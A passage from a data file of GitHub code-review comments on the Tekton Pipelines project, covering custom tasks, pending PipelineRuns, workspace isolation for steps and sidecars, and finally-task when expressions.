"created_at": "2020-11-30T09:52:20Z", "line": 89, "path": "config/config-feature-flags.yaml", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I feel we have an inefficiency with sub-resources (`TaskRuns` for `PipelineRuns` and `Pods` for `TaskRuns`) that we repeat now with `Runs` as we keep executing this code over and over again as long as the parent resource exists in etcd.\r\nChildren resources have a way of telling their parents that they are done, i.e. when `completionTime` is set. \r\nWe could use that to check if we really need to go an list taskruns and runs again.\r\nNothing to be changed in the PR for sure, but perhaps it's worth calling out in the `Run` interface that `completionTime` may only be set once by the controller.\r\n\r\nI wonder if we do that correctly with taskrun retries?", "comment_id": 532548852, "created_at": "2020-11-30T12:06:11Z", "line": 192, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I think we may not need to send an event here, as `Reconcile` will send an event for errors returned by `ReconcileKind`. Since we're sending an event for `TaskRun` I guess it's fine to do the same, and we can fix this in a separate PR. ", "comment_id": 532550524, "created_at": "2020-11-30T12:09:17Z", "line": 603, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "It might be handy to get them under the pipeline run status, but it may also be confusing - and it may cause unexpected behaviours for other type of custom tasks, so I agree it's better to skip there", "comment_id": 532562975, "created_at": "2020-11-30T12:32:10Z", "line": 1028, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure this deserves a \"info\" level, when using task looks the logs will start getting this a lot. What about \"debug\"?", "comment_id": 532585760, "created_at": "2020-11-30T13:12:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure this deserves a \"info\" level, when using task looks the logs will start getting this a lot. What about \"debug\"?", "comment_id": 532585888, "created_at": "2020-11-30T13:12:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure this is really needed? \r\nIt may make code more readable perhaps.", "comment_id": 532598334, "created_at": "2020-11-30T13:32:25Z", "line": 69, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Adding `Run`, `RunName` and `CustomTask` in here does not look very pretty, but it's an effective way to reduce code changes.\r\nWe could have a `ResolvedPipelineRunCustomTask` and make both types match the same interface, but that would probably require significant code changes. Have you considered this option already? It might avoid some of the `IsCustomTask` checks inside functions.\r\nIt could be a future refactor.", "comment_id": 532601191, "created_at": "2020-11-30T13:36:55Z", "line": 64, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Yes I wrestled with this question and decided it was okay to run it without the feature flag check for the reasons you mentioned.", "comment_id": 532707031, "created_at": "2020-11-30T16:01:09Z", "line": 195, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Any reason not to use `t.IsCustomTask()` like everywhere else? ", "comment_id": 533601144, "created_at": "2020-12-01T17:42:03Z", "line": 218, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "any special reason for moving this?", "comment_id": 533601454, "created_at": "2020-12-01T17:42:29Z", "line": 429, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "We use to set the completion time as soon as there was a failure in a pipeline, so we had to be able to pickup status changes once the pipelinerun `isDone` returns true.\r\n\r\nWe changed the logic since to only set the completion time once all taskruns are done, so it might be possible to do the pipelinerun status and results updates in the same reconcile cycle when the completion time is set for the pipeline.\r\n\r\nIt would be good to have a reference issue mentioned here.", "comment_id": 533612502, "created_at": "2020-12-01T17:59:22Z", "line": 193, "path": "test/custom_task_test.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "ok - it might be worth adding a comment in the code for this", "comment_id": 533615491, "created_at": "2020-12-01T18:04:09Z", "line": 195, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Yes I had the same thoughts about this code. I had tracked it down to PR https://github.com/tektoncd/pipeline/pull/757.\r\nIn theory this code is no longer needed with the \"stopping\" mode in PipelineRuns but there is at least one case I know of which doesn't make use of the stopping mode, which is canceling the PR. That doesn't wait for the TRs to finish. I guess it's debatable whether the PR status needs to have the canceled TR status in it or just the status at time of cancel.\r\n", "comment_id": 533665531, "created_at": "2020-12-01T19:26:31Z", "line": 192, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "No I hadn't considered doing that. This is the direction Jason went and I didn't look into redoing it.", "comment_id": 533668147, "created_at": "2020-12-01T19:30:50Z", "line": 64, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Do you mean the comment line or something else?", "comment_id": 533668529, "created_at": "2020-12-01T19:31:29Z", "line": 69, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "This test is a bit different. It's testing if the TaskRun/Run exist, not whether it's intended to be one or the other.", "comment_id": 533672417, "created_at": "2020-12-01T19:38:23Z", "line": 218, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "The original order checked isFailure() before isCancelled(). This had a couple of issues.\r\n1. Cancelled Runs are also failed so it was impossible to count them as cancelled. \r\n2. TaskRuns have a quirk where isFailure() would say false if the TaskRun is eligible for another retry, so they would be counted as cancelled only if they were cancelled with no retries remaining.\r\n\r\nI reversed the order of the checks which seemed to make sense -- cancel is more specialized than failure so it should be checked first.", "comment_id": 533680628, "created_at": "2020-12-01T19:52:49Z", "line": 429, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Done.", "comment_id": 535598418, "created_at": "2020-12-03T20:52:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Done.", "comment_id": 535599509, "created_at": "2020-12-03T20:53:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Done.", "comment_id": 535602665, "created_at": "2020-12-03T20:55:54Z", "line": 82, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Done", "comment_id": 535605300, "created_at": "2020-12-03T20:57:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Done.", "comment_id": 535606136, "created_at": "2020-12-03T20:58:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Good point about the cancel use case. ", "comment_id": 535915164, "created_at": "2020-12-04T08:19:26Z", "line": 192, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I meant `RunName`. Since TaskRun and Run are mutually exclusive here, we just need one field for the name.", "comment_id": 535917083, "created_at": "2020-12-04T08:23:07Z", "line": 69, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "OK, maybe something for future PRs. We might run loop tasks in future or pipelines as tasks, so it would be good to have a model that can work with an interface here.", "comment_id": 535917696, "created_at": "2020-12-04T08:24:12Z", "line": 64, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im a bit confused by why the task run exists? if the pipelinerun is created \"pending\" then i think no taskruns should exist? i.e. there should never be a time when a pending pipelinerun exists and taskruns exist for the same pipelinerun?", "comment_id": 524494673, "created_at": "2020-11-16T18:46:53Z", "line": 1183, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "jbarrick-mesosphere", "body": "Yeah, actually I brought this over from the pause PR that I based this on and just trusted it, but now I'm realizing I don't understand it at all. I'll work on it :)", "comment_id": 524665097, "created_at": "2020-11-16T22:14:02Z", "line": 1183, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "jbarrick-mesosphere", "body": "Okay, it should be more correct now.", "comment_id": 524697231, "created_at": "2020-11-16T22:44:09Z", "line": 1183, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "imjasonh", "body": "I'd say \"unset the `.spec.status` field, or update its value cancel it\"", "comment_id": 524861030, "created_at": "2020-11-17T03:26:49Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 3522, "repo": "pipeline"} +{"author": "imjasonh", "body": "typo here: PipelineRunSpec", "comment_id": 524861133, "created_at": "2020-11-17T03:27:03Z", "line": null, "path": "internal/builder/v1beta1/pipeline.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "imjasonh", "body": "typo: PipelineRunCancel (one l)", "comment_id": 524861287, "created_at": "2020-11-17T03:27:39Z", "line": 95, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "jbarrick-mesosphere", "body": "Yes, this is a previously existing test for an incorrect status, thus the typo.", "comment_id": 525510791, "created_at": "2020-11-17T20:40:57Z", "line": 95, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3522, "repo": "pipeline"} +{"author": null, "body": "nit: I think it's worth adding a comment here similar to PipelineRunSpecStatusCancelled describing its purpose. Something like:\r\n\r\n```go\r\n// PipelineRunSpecStatusPending indicates that the user wants to postpone starting a PipelineRun\r\n// until some condition is met\r\n```", "comment_id": 564726338, "created_at": "2021-01-26T18:12:48Z", "line": 211, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3522, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nit: environments -> environment variables?", "comment_id": 538433749, "created_at": "2020-12-08T14:29:20Z", "line": 54, "path": "docs/podtemplates.md", "pr_number": 3566, "repo": "pipeline"} +{"author": "jerop", "body": "please refer them to when expressions in the error message as well because that's what they'd see before they look into the docs", "comment_id": 537175944, "created_at": "2020-12-07T01:37:35Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3601, "repo": "pipeline"} +{"author": "GregDritschler", "body": "done", "comment_id": 537500826, "created_at": "2020-12-07T13:21:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3601, "repo": "pipeline"} +{"author": "bobcatfish", "body": "does it make sense to maybe link to the section with the example? (just thinking, if i read this id be like: great, but how?)", "comment_id": 569624151, "created_at": "2021-02-03T17:53:02Z", "line": 109, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "ahhh its so much better now :D", "comment_id": 569624354, "created_at": "2021-02-03T17:53:18Z", "line": null, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i assume doing this also isolates them to just the step/sidecar?", "comment_id": 569624777, "created_at": "2021-02-03T17:53:55Z", "line": 220, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "niiiiice", "comment_id": 569625116, "created_at": "2021-02-03T17:54:25Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-in-sidecar.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "\ud83d\udc4d \ud83d\udc4d \ud83d\udc4d ", "comment_id": 569625398, "created_at": "2021-02-03T17:54:51Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-isolation.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "oooo is this here b/c of the loop in the sidecar? might be worth adding a couple comments (e.g. in the sidecar loop), i had to work through that myself and was about to say \"we should add a timeout\"", "comment_id": 569626304, "created_at": "2021-02-03T17:56:04Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-isolation.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this is just scope creep for you but maybe we should update https://github.com/tektoncd/pipeline/blob/master/DEVELOPMENT.md#iterating as well (i totally missed when running this script became part of our workflow :S)", "comment_id": 569626816, "created_at": "2021-02-03T17:56:51Z", "line": 55, "path": "hack/verify-codegen.sh", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Yeah, exactly. The moment a `workspace` entry is present on a step/sidecar it's considered isolated.", "comment_id": 569648603, "created_at": "2021-02-03T18:30:30Z", "line": 220, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Thanks for reviewing, added the link.", "comment_id": 569651481, "created_at": "2021-02-03T18:35:33Z", "line": 109, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Updated with comments in both loops mentioning the use of `timeout` to prevent looping forever.", "comment_id": 569651994, "created_at": "2021-02-03T18:36:20Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-isolation.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Good catch, I've updated DEVELOPMENT.md.", "comment_id": 569652193, "created_at": "2021-02-03T18:36:37Z", "line": 55, "path": "hack/verify-codegen.sh", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks @sbwsg \ud83d\ude4f ", "comment_id": 570500995, "created_at": "2021-02-04T19:50:26Z", "line": 261, "path": "DEVELOPMENT.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i wonder if it's worth explaining in the comment that this can override the mountPath in WorkspaceDeclaration? (i spent a bit of time looking at the code and the TEP to refresh my understanding)", "comment_id": 570503465, "created_at": "2021-02-04T19:54:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/workspace_types.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "when explaining mountPath, i wonder if it might be useful to use a more complex example like you have in the TEP (https://github.com/tektoncd/community/blob/main/teps/0029-step-workspaces.md#allow-workspaces-in-steps-and-sidecars-to-have-their-own-mountpath) - i didnt realize until looking at the code that this overrides the mount path in the above workspace declaration (if it exists)", "comment_id": 570504457, "created_at": "2021-02-04T19:56:26Z", "line": null, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nit: i find that asserting against error messages (or log messages) is a bit brittle to maintain over time - if it's important to assert that the correct error is returned, i usually go to one of 2 alternatives:\r\n\r\n* return different types of errors (https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully is a very interesting post on error handling in Go and iirc doenst like that approach either)\r\n* treat the different error types as a sign that one function is doing too much, i.e. if it can fail in 2 different ways and its important to distinguish between both, maybe you're better off with two separate functions (it does SEEM in this case like maybe Apply is also doing validation)", "comment_id": 570508117, "created_at": "2021-02-04T20:02:50Z", "line": null, "path": "pkg/workspace/apply_test.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice, clear test cases!", "comment_id": 570509064, "created_at": "2021-02-04T20:04:30Z", "line": 733, "path": "pkg/workspace/apply_test.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it seems like this is the code that handles the mountPath overriding logic, but i dont see it being explicitly included in the tests cases below? (apologies if i just missed it) i could see there being an extra case or two for this?", "comment_id": 570514124, "created_at": "2021-02-04T20:13:13Z", "line": 188, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think the coverage report might be backing this up as well:\r\n\r\n![image](https://user-images.githubusercontent.com/432502/106949911-a0786000-66fb-11eb-99e6-833bed7c9acf.png)\r\n", "comment_id": 570514667, "created_at": "2021-02-04T20:14:10Z", "line": 188, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice!!! \ud83d\ude0e ", "comment_id": 570515960, "created_at": "2021-02-04T20:16:25Z", "line": 857, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "bobcatfish", "body": "just nitpicking and i dont have a clear alternative suggestion, but it feels like some of this logic belongs to how \"workspaces\" work and i'd almost expect to see it in the workspaces package\r\n\r\n(i.e. which path to use feels like it's more about how workspaces work, and less about how string substitution works)", "comment_id": 570517509, "created_at": "2021-02-04T20:19:04Z", "line": 181, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Updated comment.", "comment_id": 570536952, "created_at": "2021-02-04T20:54:50Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/workspace_types.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Updated to the more complex example.", "comment_id": 570537049, "created_at": "2021-02-04T20:55:02Z", "line": null, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Removed string error message check.", "comment_id": 570543389, "created_at": "2021-02-04T21:06:53Z", "line": null, "path": "pkg/workspace/apply_test.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Unit test added to cover custom mountPath in sidecar and step.", "comment_id": 570543571, "created_at": "2021-02-04T21:07:13Z", "line": 188, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "I'm not sure there's a good way to disentangle the choice of mountpath for each case (step / sidecar / shared) from the string substitution logic. Particularly since the variables being replaced are order-dependent (we have to replace the isolated workspace mountpaths before those that are shared). I can't see an approach that doesn't either leak some workspace logic into the string substitution package or leak some string substitution logic into the workspace package.\r\n\r\nWe can always revisit? There's nothing user-facing here that will prevent a refactor if we figure out a better separation.", "comment_id": 570554348, "created_at": "2021-02-04T21:26:42Z", "line": 181, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "the workspace `foo` in each step is referring to the same workspace `ws` specified under `workspaces`? should they be named same as defined under `workspaces`?", "comment_id": 572429278, "created_at": "2021-02-08T22:41:45Z", "line": 241, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: step names are missing", "comment_id": 572442874, "created_at": "2021-02-08T23:10:46Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-isolation.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "What does \"override\" mean here? the step `edit-files-1` is executed with the mount path `/foo` and `edit-files-2` executed with the default mountPath `/ws`. But the files created in `edit-files-1` under `/foo` will be visible in `edit-files-2` under `/ws`. Its just the path name which differs. Am I getting it right? ", "comment_id": 572504010, "created_at": "2021-02-09T01:36:08Z", "line": 241, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "I ran a pipeline with creating files (`/foo/sample1` and `/foo/sample2`) in `edit-files-1`. Both files were accessible as `/ws/sample1` and `/ws/sample2` in `edit-files-2`.\r\n\r\nI don't see any issues with this behavior but may be a one liner explanation might help in the doc. Not a blocker though. \ud83d\ude4f ", "comment_id": 572589599, "created_at": "2021-02-09T04:41:14Z", "line": 241, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "They should be `name`d \"ws\". That's a bug, well spotted! will fix. Also I will make this a validation error if it isn't already. \"foo\" isn't a valid workspace name here.", "comment_id": 572891091, "created_at": "2021-02-09T13:40:25Z", "line": 241, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "@sbwsg I am wondering why these changes are showing up here \ud83e\udd14 These were already a part of previous [PR](https://github.com/tektoncd/pipeline/commit/565c55b30e422fc7fca42bc122561aa231106204#diff-d3a6963f568541460e24acddf2bcc5d3337bbbc8632e91a63ee59c6084891a2eR22-R25) you created.", "comment_id": 626030125, "created_at": "2021-05-04T18:59:40Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-in-sidecar.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "and which was merged ...", "comment_id": 626030385, "created_at": "2021-05-04T19:00:07Z", "line": null, "path": "examples/v1beta1/taskruns/workspace-in-sidecar.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: this is not true, it does return error if the value is anything outside of `stable` and `alpha`, some git weirdness? ", "comment_id": 626032378, "created_at": "2021-05-04T19:03:22Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: reading for the first time looks like, the two notes in the same section is contradicting each other. The first note is saying with `alpha` API, the workspaces are automatically available to sidecars and second note is about `stable` API. With `stable` API, sidecars have to opt-in. This is fine for now, no need to change anything here. But we might have to repeat ourselves and be explicit about the behavior with `stable` compared to `alpha` \ud83d\ude1e May be keep the `stable` API behavior as is and add changes being introduced with `alpha` in the end of the section \ud83e\udd14 ", "comment_id": 626044841, "created_at": "2021-05-04T19:24:25Z", "line": null, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Ah \ud83d\ude05 result of a bad merge. Good catch, thank you!", "comment_id": 626086890, "created_at": "2021-05-04T20:30:52Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Yeah you're right it was confusing in this context. I removed mention of the alpha api from here.", "comment_id": 626088300, "created_at": "2021-05-04T20:33:14Z", "line": null, "path": "docs/workspaces.md", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "Should we return an error here or continue validating workspaces even when a feature gate is not set to `alpha`? \ud83e\udd14 Generally we accumulate all the validation errors before exiting. ", "comment_id": 626187280, "created_at": "2021-05-05T00:14:26Z", "line": 133, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 3700, "repo": "pipeline"} +{"author": null, "body": "Yeah, I've decided to leave them accumulating. We can always return early in future if we see reports that it's confusing this way.", "comment_id": 626454605, "created_at": "2021-05-05T10:37:00Z", "line": 133, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: s/acess/access", "comment_id": 626825373, "created_at": "2021-05-05T19:04:21Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/workspace-isolation.yaml", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: can use `config.AlphaAPIFields` instead of string literal `\"alpha\"`", "comment_id": 626828825, "created_at": "2021-05-05T19:09:57Z", "line": null, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am guessing this will go away once this feature is promoted to stable \ud83e\udd14 ", "comment_id": 626871327, "created_at": "2021-05-05T20:21:35Z", "line": 139, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "or rather the else \u2b07\ufe0f ", "comment_id": 626872780, "created_at": "2021-05-05T20:23:59Z", "line": 139, "path": "pkg/workspace/apply.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: The tests included here are pretty comprehensive (go coverage is very obvious) \ud83d\ude0d but will be great to have a test with two different workspaces out of which one is isolated to a step and one is isolated to a sidecar. ", "comment_id": 626880691, "created_at": "2021-05-05T20:37:31Z", "line": 528, "path": "pkg/workspace/apply_test.go", "pr_number": 3700, "repo": "pipeline"} +{"author": "t-persson", "body": "```suggestion\r\n\t\tt.Fatalf(\"Didn't get the expected list of skipped tasks. Diff: %s\", diff.PrintWantGot(d))\r\n```", "comment_id": 568604923, "created_at": "2021-02-02T13:35:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "chmouel", "body": "I see most of the examples or tests refer to task status, is there a way to guard again pipeline run status? I think the user in the send to slack example would typically would want to grab the status of the execution of the whole pipeline if it has failed or succeeded, what do you think having this as the example?", "comment_id": 568618980, "created_at": "2021-02-02T13:55:42Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "pipeline run status is calculated based on both tasks and finally tasks, as described [here](https://github.com/tektoncd/pipeline/blob/master/docs/pipelines.md#pipelinerun-status-with-finally), and I don't think it's a variable that's available to the finally tasks -- it seems only the execution status of tasks is available in finally according to [docs](https://github.com/tektoncd/pipeline/blob/master/docs/pipelines.md#using-execution-status-of-pipelinetask) \r\n\r\nif you're referring to the overall status of the tasks only, not finally tasks, a user could pass in all the statuses of the tasks to the values array, as shown below \r\n\r\n```yaml\r\nfinally:\r\n - name: notify-failure # executed only when tasks failed\r\n when:\r\n - input: \"Failed\"\r\n \t operator: in\r\n values: [$(tasks.unit-tests.status), $(tasks.golang-build.status), $(tasks.deploy.status)] \r\n```\r\n\r\nplease let me know if this is what you were looking for", "comment_id": 568652051, "created_at": "2021-02-02T14:38:09Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "/cc @pritidesai on execution status variables available in finally ", "comment_id": 568693006, "created_at": "2021-02-02T15:27:27Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "pritidesai", "body": "@chmouel I have a WIP proposal to support [aggregate](https://github.com/tektoncd/pipeline/issues/1020#issuecomment-747156100) status of `tasks` section, would that work for your use case? \r\n\r\nThe proposal includes introducing a new context variable `$(tasks.status)` (feedback on syntax is welcome) \ud83d\ude4f. `$(tasks.status)` would be set to `Failed` if any on of the `dag` task fails, and `Succeeded` if all `dag` tasks succeed.", "comment_id": 568728329, "created_at": "2021-02-02T16:10:31Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "jerop", "body": "the aggregate status of `tasks` would be a very useful in `whenexpressions` in `finally tasks`, thanks for the update @pritidesai!", "comment_id": 568739139, "created_at": "2021-02-02T16:24:05Z", "line": 934, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i think something odd happened here - not sure why we have a top level link back to the top of the page? (maybe you're using a tool that's doing that?)\r\n\r\nmaybe these updates to the TOC would make sense in a separate PR? i think i like having the more verbose TOC but it will be harder to keep up to date \ud83e\udd14 ", "comment_id": 568862864, "created_at": "2021-02-02T19:13:34Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "cool example :D", "comment_id": 568864553, "created_at": "2021-02-02T19:16:16Z", "line": 946, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this example feels a bit weird - not sure why we are releasing only in this one case, feels more likely that this would be checking the status of the boskos-acquire task \ud83e\udd14 np if you want to leave it - alternative idea, git-clone task maybe?\r\n\r\nalternatively: maybe we don't need to have an example of results + finally? knowing how to use variable replacement in general could be enough?", "comment_id": 568866880, "created_at": "2021-02-02T19:19:45Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "you can also link to this with `pipeline.md#consuming-task...` (i..e you dont need the whole URL, and using the short form means github can preview the link in PRs etc)", "comment_id": 568868043, "created_at": "2021-02-02T19:21:34Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "woooot", "comment_id": 568868718, "created_at": "2021-02-02T19:22:39Z", "line": 1009, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "(feel free to ignore me)", "comment_id": 568868933, "created_at": "2021-02-02T19:23:01Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im finding this a bit hard to follow, i think mostly b/c the details of the tasks are hidden in the functions (i.e. it was confusing before this change!), im wondering if some comments could help explain, e.g. what is taskConsumingResultInParam and how is it different from taskConsumingResult and why do we need both", "comment_id": 568870957, "created_at": "2021-02-02T19:26:11Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i feel like these names are getting a bit long - i wonder if there is some other way we can make this clearer \ud83e\udd14 ", "comment_id": 568871339, "created_at": "2021-02-02T19:26:49Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "instead of calling ` strconv.Itoa` we could use the `%d` format operator (%s is forcing us to use a string: https://golang.org/pkg/fmt/#hdr-Printing)", "comment_id": 568871802, "created_at": "2021-02-02T19:27:35Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 3738, "repo": "pipeline"} +{"author": "bobcatfish", "body": "do we want to be waiting here? I think we already waited for the pipelinerun as a whole to get into the state we expected (or maybe im wrong?) - if the taskruns aren't in the expected state after the pipelinerun has completed, i think something has gone 